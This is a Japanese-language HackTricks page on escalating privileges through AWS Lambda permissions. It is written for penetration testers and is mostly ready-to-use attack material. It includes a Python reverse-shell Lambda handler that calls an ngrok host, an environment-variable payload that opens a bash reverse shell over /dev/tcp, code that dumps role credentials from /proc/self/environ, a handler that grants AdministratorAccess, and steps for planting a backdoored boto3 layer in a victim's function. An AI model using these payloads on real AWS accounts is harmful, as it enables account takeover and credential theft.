# AWS - Lambda Privesc {{#include ../../../banners/hacktricks-training.md}} ## lambda lambdaに関する詳細情報は以下を参照してください: {{#ref}} ../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) **`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\ 彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます(例えば、rev shellを使用して)**。\ 関数が設定されると、ユーザーは**その実行をトリガーし**、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\\ 攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('4.tcp.ngrok.io',14305)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i']) time.sleep(900) return 0 ``` ```bash # Zip the rev shell zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ --runtime python3.9 --role \ --handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt ## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL # List roles aws iam list-attached-user-policies --user-name ``` あなたはまた、**lambda関数自体のlambdaロールの権限を悪用する**ことができます。\ もしlambdaロールに十分な権限があれば、それを使用してあなたに管理者権限を付与することができます: ```python import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用される**ネットワーク隔離されたLambda**にとって便利です。逆シェルをフィルタリングしている未知のセキュリティグループがある場合、このコードはlambdaの出力として資格情報を直接漏洩させることを可能にします。 ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() return { 'statusCode': 200, 'session': str(sessiontoken) } ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` **潜在的な影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。 > [!CAUTION] > 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async`** を実行することを許可しません。`lambda:InvokeFunction` も必要です。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` 前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与することができます。 ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` **潜在的影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` **`iam:PassRole`, `lambda:CreateFunction`, および `lambda:CreateEventSourceMapping`** 権限を持つユーザー(おそらく `dynamodb:PutItem` および `dynamodb:CreateTable` も含む)は、`lambda:InvokeFunction` なしでも間接的に **権限を昇格** させることができます。\ 彼らは **悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる** ことができます。 ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガー** され、渡されたIAMロールの権限でコードが実行されます。 ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーはLambda関数のために**イベントソースマッピングを設定する必要があります**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ --key-schema AttributeName=Test,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` 今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` DynamoDBストリームにリンクされたLambda関数を使用すると、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは**DynamoDBテーブルにアイテムを挿入することによって**実現できます: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` **潜在的な影響:** 指定されたlambdaサービスロールへの直接的な権限昇格。 ### `lambda:AddPermission` この権限を持つ攻撃者は**自分自身(または他の人)に任意の権限を付与することができます**(これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成します): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: # Invoke the function aws lambda invoke --function-name /tmp/outout ``` **潜在的な影響:** コードを変更して実行する権限を付与することによって、使用されるlambdaサービスロールへの直接的な権限昇格。 ### `lambda:AddLayerVersionPermission` この権限を持つ攻撃者は**自分自身(または他の人)に`lambda:GetLayerVersion`の権限を付与することができます**。彼はレイヤーにアクセスし、脆弱性や機密情報を探すことができます。 ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` **潜在的影響:** 機密情報へのアクセスの可能性。 ### `lambda:UpdateFunctionCode` **`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。**\ 攻撃者は**IAM資格情報を外部に流出させるためにlambdaのコードを変更することができます。** 攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。 ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ --zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` **潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。 ### `lambda:UpdateFunctionConfiguration` #### 環境変数を介したRCE この権限を持つことで、Lambdaが任意のコードを実行する環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` 他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください。 {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}} #### Lambdaレイヤーを介したRCE [**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。 ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。 ```python import json import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` これらの場所です: 1. /var/task 2. /opt/python/lib/python3.7/site-packages 3. /opt/python 4. /var/runtime 5. /var/lang/lib/python37.zip 6. /var/lang/lib/python3.7 7. /var/lang/lib/python3.7/lib-dynload 8. /var/lang/lib/python3.7/site-packages 9. /opt/python/lib/python3.7/site-packages 10. /opt/python 例えば、ライブラリboto3は`/var/runtime/boto3`(4番目の位置)から読み込まれます。 #### 悪用 `lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するためには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。 例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します: ```bash pip3 install -t ./lambda_layer boto3 ``` `./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します(例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など)。 次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウントにアップロードします(または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません)。\ python フォルダを作成し、ライブラリをそこに置いて /opt/python/boto3 を上書きする必要があることに注意してください。また、レイヤーはラムダで使用されている**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。 ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` 今、アップロードしたlambdaレイヤーを**すべてのアカウントからアクセス可能に**します: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` 被害者のlambda関数にlambdaレイヤーを添付します: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` 次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。後者がより安全な方法です。 **この脆弱性を利用するよりステルスな方法**は以下にあります: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} **潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法が見つからなかったので、もし見つけたら教えてください! ### Lambda MitM いくつかのlambdaは、**ユーザーからのパラメータで機密情報を受け取る**ことになります。もしそのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} ## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}}